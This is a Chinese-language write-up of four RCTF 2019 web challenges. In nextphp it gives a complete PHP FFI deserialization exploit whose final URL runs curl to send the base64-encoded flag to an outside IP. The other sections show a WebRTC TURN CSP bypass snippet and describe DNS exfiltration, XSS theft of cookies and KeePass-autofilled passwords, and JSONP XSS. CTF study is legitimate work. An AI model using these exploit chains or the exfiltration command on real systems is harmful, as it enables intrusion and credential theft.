2019 rctf writeup

  1. 解题思路

根据标题nextphp和php的版本为php7.4,从而判断出目标是利用了php7.4的某种新特性

  1. 解题过程

首先进行信息搜集


查看phpinfo发现被disable了所有已知可以执行命令的函数

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

但是发现在编译PHP时开启了ffi并且ffi是enable的

'./configure' '--build=x86_64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--with-ffi' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-password-argon2' '--with-sodium' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-pear' '--with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu'

但是为了安全php7.4中ffi不能直接使用,因此不能直接借助eval,但是发现当前目录存在preload.php

http://nextphp.2019.rctf.rois.io/?a=var_dump(scandir(%27./%27));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(11) "preload.php" }

 null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

看一下权限

http://nextphp.2019.rctf.rois.io/?a=var_dump(base_convert(fileperms(%27./%27),10,8));

string(5) "40755"

发现并不可写

利用ffi来引入libc中的system函数

var_dump(eval('FFI::cdef("int system(const char *command);", "libc.so.6")->system("ls");'));

但是反序列化中的run只有一个参数选项,后面发现system的执行不需要引入so文件

var_dump(eval('FFI::cdef("int system(const char *command);")->system("ls");'));

成功精简,从而构造如下exp

 null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(const char *command);',
    ];

    private function run() {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array{
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize(): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get($key) {
        return $this->data[$key];
    }

    // public function __set ($key, $value) {
    //     throw new \Exception('No implemented');
    // }

    // public function __construct () {
    //     throw new \Exception('No implemented');
    // }
}

$a = new A;
$ser = base64_encode(serialize($a));
var_dump($ser);

利用curl带外传输得到flag

http://nextphp.2019.rctf.rois.io/?a=$a=%27QzoxOiJBIjo5NTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czozMjoiaW50IHN5c3RlbShjb25zdCBjaGFyICpjb21tYW5kKTsiO319%27;$b=unserialize(base64_decode($a));$b-%3Eret-%3Esystem(%27curl%20-i%20http://47.90.204.28:2345/`cat%20/flag|base64`%27);

0x02 jail

思路很明确就是要让bot访问我们的链接然后交出cookie,因此就考虑怎么打cookie

首先看一下CSP

Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

如下payload可以在firefox上打到cookie,但是在chrome上是打不到cookie的


根据提示flag在cookie里面,所以接下来让bot去打就好了,但是bot打不到,所以bot有可能是chrome写的。那么转换思路。

PS: CSP在跳转面前是苍白无力的

但是 document.location 被freeze了

但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。因此采用DNS来做带外传输。


最终通过分段读取获得flag

RCTF{welc0me_t0_the_chaos_w0r1}

此外还有第二种解法

之前我们注意到CSP中有个 connect-src ‘none’; 那么有没有办法bypass掉这一点呢,答案是肯定的

参考: https://github.com/w3c/webrtc-pc/issues/1727

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

修改上面提到的poc

sudo turnserver -L 172.16.47.44 -a -u zeroyu:123456 -v -f -r 106.14.114.127


这种方式在本地macOS上没有成功,随后可以在服务器上试一下

0x03 password

进一步要求使用利用xss打到对后台的密码,但是密码不是使用chrome的AutoSave,此处写payload1不要用chrome,一定要用firefox,不然什么都打不到(感觉可能是最新版的chrome限制了这种跳转,必须点击一下才能跳)

依据上面的思路还是先分段读源码


之后源码中会多出 data-cip-id 属性,从而判断是 ChromeIPass+Keepass ,那么之后就是定位+点击完成密码填充工作。


最终成功打到flag

cmN0ZntrcEh0dHBfbTR5X2xlYWtfdXJfcHdkfQ==

rctf{kpHttp_m4y_leak_ur_pwd}

0x04 rblog

XSS Bot is running on Windows Server 2008R2

Google Chrome is up to date

Version 74.0.3729.157 (Official Build) (64-bit)

首先查看CSP

content-security-policy: default-src 'self'; object-src 'none'

检测一下,可以看到提到JSONP可能会带来一些问题,而且题目也提示到了这一点

右键源码,发现rblog.js

https://rblog.2019.rctf.rois.io/rblog.js

axios.get('/api/v2/posts').then(resp => {
    let html = ''
    if (resp.data.status) {
        for (let i of resp.data.data) {
            html += `${i.title}\r\n`
        }
    } else {
        html += `;_; ${resp.message}`
    }
    document.body.children[0].innerHTML = html
})

利用前面得到的jsonp tips测试一下

目标明确就是测这个接口的xss,但是由于这个 content-type: application/json 进行限制,所以不会解析标签的

神奇的是这里还存在v1版本的接口,看来以后要多试试。这次 content-type: text/html; charset=UTF-8 就可以解析了。

娜美接下来就是考虑常规的,通过这个接口来用XSS打到cookie

但是发现会被转义为<\/script>

所以接下里使用html编码来混淆一下paylaod